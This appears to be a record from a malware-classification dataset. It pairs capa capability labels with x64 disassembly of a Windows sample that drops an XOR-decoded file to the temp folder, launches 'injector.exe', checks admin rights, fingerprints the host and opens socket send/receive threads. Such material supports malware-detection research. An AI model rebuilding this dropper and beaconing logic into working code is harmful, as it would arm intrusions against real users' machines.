joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140005eb0
Capabilities:
Create directory
Get common file path

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x68
lea r9, [rsp + 0x30]
xor r8d, r8d
xor edx, edx
lea rcx, [0x140026a00]
call sub.SHELL32.dll_SHGetKnownFolderPath
test eax, eax
jne 0x140005fcb
mov edx, 0xfffe
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0
je 0x140005fc0
mov rax, qword [rsp + 0x70]
add rax, 0x2166
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x30]
lea r8, [0x140026240]
mov edx, 0x7fff
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.SHLWAPI.dll_wnsprintfW]
test eax, eax
jle 0x140005fb5
call fcn.1400056e0
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
je 0x140005fb5
mov dword [rsp + 0x48], 0x18
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x58], 0
lea rdx, [rsp + 0x48]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
cmp eax, 1
je 0x140005f7a
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x140005fa2
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
mov eax, 1
jmp 0x140005fcd
cmp qword [rsp + 0x40], 0
je 0x140005fb5
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
xor eax, eax
add rsp, 0x68
ret

Function at 0x140005fe0
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x48
lea r9, [rsp + 0x30]
xor r8d, r8d
xor edx, edx
lea rcx, [0x140026a00]
call sub.SHELL32.dll_SHGetKnownFolderPath
test eax, eax
jne 0x140006084
mov edx, 0xfffe
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0
je 0x140006079
mov rax, qword [rsp + 0x50]
add rax, 0x2166
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x30]
lea r8, [0x140026250]
mov edx, 0x7fff
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.SHLWAPI.dll_wnsprintfW]
test eax, eax
jle 0x140006079
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rcx, qword [rsp + 0x58]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
mov rax, qword [rsp + 0x38]
jmp 0x140006086
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
xor eax, eax
add rsp, 0x48
ret
Function at 0x140007a30
Capabilities:
Create thread

Disassembly:
sub rsp, 0x38
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x140007af0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [0x14003f3c0], rax
cmp qword [0x14003f3c0], 0
je 0x140007a71
mov eax, 1
jmp 0x140007a73
xor eax, eax
add rsp, 0x38
ret

Function at 0x140008450
Capabilities:
Delete file
Get common file path
Write file on windows

Disassembly:
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x78
movsxd rax, dword [rsp + 0x90]
mov rdx, rax
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
je 0x140008646
movsxd rax, dword [rsp + 0x90]
mov r8, rax
mov rdx, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x40]
call fcn.14001a730
movsxd rax, dword [rsp + 0x90]
xor edx, edx
mov ecx, 4
div rcx
mov dword [rsp + 0x50], eax
mov dword [rsp + 0x54], 0
jmp 0x1400084d1
mov eax, dword [rsp + 0x54]
inc eax
mov dword [rsp + 0x54], eax
mov eax, dword [rsp + 0x50]
cmp dword [rsp + 0x54], eax
jge 0x1400084fe
movsxd rax, dword [rsp + 0x54]
mov rcx, qword [rsp + 0x40]
movsx eax, byte [rcx + rax*4]
xor eax, dword [0x14003a6e4]
movsxd rcx, dword [rsp + 0x54]
mov rdx, qword [rsp + 0x40]
mov byte [rdx + rcx*4], al
jmp 0x1400084c7
mov edx, 0xfffe
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
je 0x14000863b
mov rdx, qword [rsp + 0x48]
mov ecx, 0x7fff
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
jbe 0x140008630
mov edx, 0xfffe
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
je 0x140008630
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x48]
lea r8, str._s_s
mov edx, 0x7fff
mov rcx, qword [rsp + 0x58]
call fcn.140019c8c
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x60], rax
cmp qword [rsp + 0x60], 0xffffffffffffffff
je 0x140008625
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x68]
mov r8d, dword [rsp + 0x90]
mov rdx, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [rsp + 0x90]
cmp dword [rsp + 0x68], eax
jne 0x14000860f
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rax, qword [rsp + 0x58]
jmp 0x140008648
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_LocalFree]
xor eax, eax
add rsp, 0x78
ret
Function at 0x140008740
Capabilities:
Create process on windows
Get common file path

Disassembly:
sub rsp, 0x118
lea rdx, [rsp + 0x50]
lea rcx, [0x14003a1d0]
call fcn.140005d80
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
je 0x140008932
mov edx, 0xfffe
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x60], rax
cmp qword [rsp + 0x60], 0
je 0x140008927
mov rdx, qword [rsp + 0x60]
mov ecx, 0x7fff
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
je 0x140008927
mov edx, 0xfffe
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x68], rax
cmp qword [rsp + 0x68], 0
je 0x140008927
mov r8d, 0x7fff
mov rdx, qword [rsp + 0x68]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x14000891c
mov dx, 0x5c
mov rcx, qword [rsp + 0x68]
call fcn.140002100
mov qword [rsp + 0x70], rax
cmp qword [rsp + 0x70], 0
je 0x14000891c
xor eax, eax
mov rcx, qword [rsp + 0x70]
mov word [rcx + 2], ax
mov rdx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x14000891c
mov edx, 0xfffe
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x78], rax
cmp qword [rsp + 0x78], 0
je 0x14000891c
lea rax, str.147C02A7_6071_4FCA_A540_F7C9E69737FF
mov qword [rsp + 0x28], rax
lea rax, str.injector.exe
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x58]
lea r8, str.__s_s___s
mov edx, 0x7fff
mov rcx, qword [rsp + 0x78]
call fcn.140019c8c
mov r8d, 0x68
xor edx, edx
lea rcx, [rsp + 0xa0]
call fcn.140019ba0
mov dword [rsp + 0xa0], WSAGetLastError
lea rax, [rsp + 0x80]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rsp + 0x78]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
cmp eax, 1
jne 0x140008911
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, 1
jmp 0x140008934
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_LocalFree]
xor eax, eax
add rsp, 0x118
ret

Function at 0x140008940
Capabilities:
Create thread

Disassembly:
sub rsp, 0x38
lea rax, [0x14003f3e0]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x140008a00]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [0x14003f3d0], rax
cmp qword [0x14003f3d0], 0
je 0x140008984
mov eax, 1
jmp 0x140008986
xor eax, eax
add rsp, 0x38
ret
Function at 0x14000f680
Capabilities:
Enumerate processes

Disassembly:
sub rsp, 0x278
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x28], eax
xor edx, edx
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x14000f6fe
mov dword [rsp + 0x30], 0x238
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x14000f6f3
mov eax, dword [rsp + 0x28]
cmp dword [rsp + 0x38], eax
jne 0x14000f6e0
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x50]
jmp 0x14000f700
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x14000f6c5
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add rsp, 0x278
ret

Function at 0x14000f760
Capabilities:
Get token membership

Disassembly:
sub rsp, 0x88
mov byte [rsp + 0x6c], 0
mov byte [rsp + 0x6d], 0
mov byte [rsp + 0x6e], 0
mov byte [rsp + 0x6f], 0
mov byte [rsp + 0x70], 0
mov byte [rsp + 0x71], 5
lea rax, [rsp + 0x60]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x48], 0
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0x220
mov r8d, 0x20
mov dl, 2
lea rcx, [rsp + 0x6c]
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
mov dword [rsp + 0x68], eax
cmp dword [rsp + 0x68], 0
je 0x14000f80c
lea r8, [rsp + 0x68]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
jne 0x14000f801
mov dword [rsp + 0x68], 0
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
mov eax, dword [rsp + 0x68]
add rsp, 0x88
ret
Function at 0x14000fb20
Capabilities:
Get file size
Read file on windows

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0xffffffffffffffff
je 0x14000fc0b
xor edx, edx
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x48], eax
cmp dword [rsp + 0x48], 0xffffffff
je 0x14000fc00
mov eax, dword [rsp + 0x48]
mov edx, eax
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x14000fc00
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x58]
mov r8d, dword [rsp + 0x48]
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14000fbf5
mov eax, dword [rsp + 0x48]
cmp dword [rsp + 0x58], eax
jne 0x14000fbf5
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rsp + 0x78]
mov ecx, dword [rsp + 0x48]
mov dword [rax], ecx
mov rax, qword [rsp + 0x50]
jmp 0x14000fc0d
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add rsp, 0x68
ret
Function at 0x140013ee0
Capabilities:
Create thread
Initialize winsock library

Disassembly:
sub rsp, 0x1d8
lea rcx, str.TITANIC.TXT
call qword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jle 0x140013f6e
xor r9d, r9d
xor r8d, r8d
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [0x14003f358], rax
cmp qword [0x14003f358], 0
je 0x140013f6e
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x140002440]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [0x14003f360], rax
cmp qword [0x14003f360], 0
je 0x140013f56
jmp 0x140013f6e
mov rcx, qword [0x14003f358]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov qword [0x14003f358], 0
cmp dword [0x14003c044], 0
jne 0x140013f7c
call fcn.140005b70
cmp dword [0x14003c044], 1
jne 0x140013f8a
call fcn.140008940
mov ecx, reloc.WS2_32.dll_setsockopt
call fcn.14000dd00
cmp dword [0x14003a604], 1
jne 0x140014006
xor r9d, r9d
xor r8d, r8d
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [0x14003f368], rax
cmp qword [0x14003f368], 0
je 0x140014006
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x140004480]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [0x14003f370], rax
cmp qword [0x14003f370], 0
je 0x140013ff9
jmp 0x140014006
mov rcx, qword [0x14003f368]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rsp + 0x30]
mov cx, 2
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x14001405c
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x140017740]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [0x14003fab8], rax
cmp qword [0x14003fab8], 0
je 0x140014056
mov eax, 1
jmp 0x140014061
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
add rsp, 0x1d8
ret
Function at 0x140014c30
Capabilities:
Create thread
Resolve function by parsing pe exports
Resume thread

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov rax, qword [rsp + 0x70]
add rax, 0x14
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x3c], 0
jmp 0x140014c69
mov eax, dword [rsp + 0x3c]
inc eax
mov dword [rsp + 0x3c], eax
cmp dword [rsp + 0x3c], 0x64
jge 0x140014df0
movsxd rax, dword [rsp + 0x3c]
imul rax, rax, 0x1c
xor edx, edx
mov rcx, qword [rsp + 0x30]
mov rcx, qword [rcx + rax + 0xc]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x38], eax
cmp dword [rsp + 0x38], 0
je 0x140014ca8
cmp dword [rsp + 0x38], 0x102
je 0x140014deb
movsxd rax, dword [rsp + 0x3c]
imul rax, rax, 0x1c
mov rcx, qword [rsp + 0x30]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
cmp qword [rax + 4], 0
je 0x140014ce9
mov rax, qword [rsp + 0x40]
mov rcx, qword [rax + 4]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rsp + 0x40]
mov qword [rax + 4], 0
mov rax, qword [rsp + 0x40]
cmp qword [rax + 0xc], 0
je 0x140014d11
mov rax, qword [rsp + 0x40]
mov rcx, qword [rax + 0xc]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rsp + 0x40]
mov qword [rax + 0xc], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
je 0x140014dc4
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 4
mov r9, qword [rsp + 0x40]
mov r8, qword [rsp + 0x80]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140014db9
mov rax, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x48]
mov qword [rax + 4], rcx
mov rax, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x50]
mov qword [rax + 0xc], rcx
mov rax, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x88]
mov qword [rax + 0x14], rcx
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
je 0x140014dae
mov eax, 1
jmp 0x140014df2
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rsp + 0x40]
mov qword [rax + 0x14], 0
mov rax, qword [rsp + 0x40]
mov qword [rax + 4], 0
mov rax, qword [rsp + 0x40]
mov qword [rax + 0xc], 0
jmp 0x140014c5f
xor eax, eax
add rsp, 0x68
ret

Function at 0x140014e70
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov dword [rsp + 0x20], r9d
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov r9d, dword [rsp + 0x48]
mov r8d, dword [rsp + 0x40]
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.WS2_32.dll_recv]
add rsp, 0x28
ret
Function at 0x140014eb0
Capabilities:
Send data
Send data on socket

Disassembly:
mov dword [rsp + 0x20], r9d
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov r9d, dword [rsp + 0x48]
mov r8d, dword [rsp + 0x40]
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.WS2_32.dll_send]
add rsp, 0x28
ret
Function at 0x1400173f0
Capabilities:
Get geographical location
Get hostname
Get session user name
Resolve dns

Disassembly:
sub rsp, 0x1d8
mov edx, 0x318
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x1400175df
lea rcx, str.NTDLL.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
jne 0x140017444
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_LocalFree]
xor eax, eax
jmp 0x1400175e1
lea rdx, str.RtlGetVersion
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
jne 0x140017475
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_LocalFree]
xor eax, eax
jmp 0x1400175e1
mov r8d, 0x11c
xor edx, edx
lea rcx, [rsp + 0x40]
call fcn.140019ba0
mov dword [rsp + 0x40], 0x11c
lea rcx, [rsp + 0x40]
call qword [rsp + 0x30]
test eax, eax
je 0x1400174ae
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_LocalFree]
xor eax, eax
jmp 0x1400175e1
mov rax, qword [rsp + 0x20]
mov ecx, dword [rsp + 0x44]
mov dword [rax + 0x308], ecx
mov rax, qword [rsp + 0x20]
mov ecx, dword [rsp + 0x48]
mov dword [rax + 0x30c], ecx
mov rax, qword [rsp + 0x20]
mov ecx, dword [rsp + 0x4c]
mov dword [rax + 0x310], ecx
mov rax, qword [rsp + 0x20]
mov ecx, dword [rsp + 0x50]
mov dword [rax + 0x314], ecx
mov ecx, reloc.WS2_32.dll_recv
call qword [sym.imp.KERNEL32.dll_GetUserGeoID]
mov dword [rsp + 0x160], eax
mov rax, qword [rsp + 0x20]
mov ecx, dword [rsp + 0x160]
mov dword [rax], ecx
mov edx, 0x50
lea rcx, [rsp + 0x170]
call qword [sym.imp.WS2_32.dll_gethostname]
test eax, eax
jne 0x1400175d4
lea rcx, [rsp + 0x170]
call qword [sym.imp.WS2_32.dll_gethostbyname]
mov qword [rsp + 0x1c0], rax
cmp qword [rsp + 0x1c0], 0
je 0x1400175d4
mov rax, qword [rsp + 0x1c0]
mov rax, qword [rax + 0x18]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x20]
mov eax, dword [rax]
mov dword [rcx + 0x228], eax
mov dword [rsp + 0x1c8], reloc.WS2_32.dll_recv
mov rax, qword [rsp + 0x20]
add rax, 4
lea r8, [rsp + 0x1c8]
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetComputerNameExW]
test eax, eax
je 0x1400175d4
mov dword [rsp + 0x1cc], 0x101
mov rax, qword [rsp + 0x20]
add rax, 0x24
lea rdx, [rsp + 0x1cc]
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
cmp eax, 1
jne 0x1400175d4
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
mov rcx, qword [rsp + 0x20]
mov qword [rcx + 0x300], rax
mov rax, qword [rsp + 0x20]
jmp 0x1400175e1
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_LocalFree]
xor eax, eax
add rsp, 0x1d8
ret
Function at 0x14001f2f4
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.14001f164

Function at 0x1400224fb
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x14003e150]
jne 0x14001dc6a
rol rcx, 0x10
test cx, 0xffff
jne 0x14001dc66
repz ret
ror rcx, 0x10
jmp 0x140022454
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x1400405e0]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x1400406d8]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x1400224d9
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x1400405e0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x1400224fb
mov rax, qword [rsp + 0x88]
mov qword [0x1400406d8], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x140040678], rax
mov rax, qword [0x1400406d8]
mov qword [0x140040550], rax
mov rax, qword [rsp + 0x90]
mov qword [0x140040660], rax
mov dword [0x140040540], 0xc0000409
mov dword [0x140040544], 1
mov rax, qword [0x14003e150]
mov qword [rsp + 0x68], rax
mov rax, qword [0x14003e158]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x1400405d8], eax
mov ecx, 1
call fcn.140022008
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x140027be8]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x1400405d8], 0
jne 0x140022582
mov ecx, 1
call fcn.140022008
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x140022a28
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x14003e150]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.14001c294
xor ebx, ebx
cmp qword [0x140040b58], rbx
mov rdi, rax
jne 0x140022b3b
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x140022c12
lea rdx, [0x140028d98]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140022c12
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x140040b58], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x140040b60], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x140040b68], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x140040b78], rax
test rax, rax
je 0x140022b32
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x140040b70], rax
jmp 0x140022b42
mov rax, qword [0x140040b70]
jmp 0x140022b49
mov rax, qword [0x140040b70]
mov r11, qword [0x140040b78]
cmp rax, rdi
je 0x140022bb0
cmp r11, rdi
je 0x140022bb0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x140040b78]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x140022bb0
test rax, rax
je 0x140022bb0
call rsi
test rax, rax
je 0x140022baa
lea rcx, [rsp + 0x30]
mov r9d, recv
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x140022baa
test byte [rsp + 0x40], 1
jne 0x140022bb0
bts ebp, 0x15
jmp 0x140022bf0
mov rcx, qword [0x140040b60]
cmp rcx, rdi
je 0x140022bf0
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140022bf0
call rax
mov rbx, rax
test rax, rax
je 0x140022bf0
mov rcx, qword [0x140040b68]
cmp rcx, rdi
je 0x140022bf0
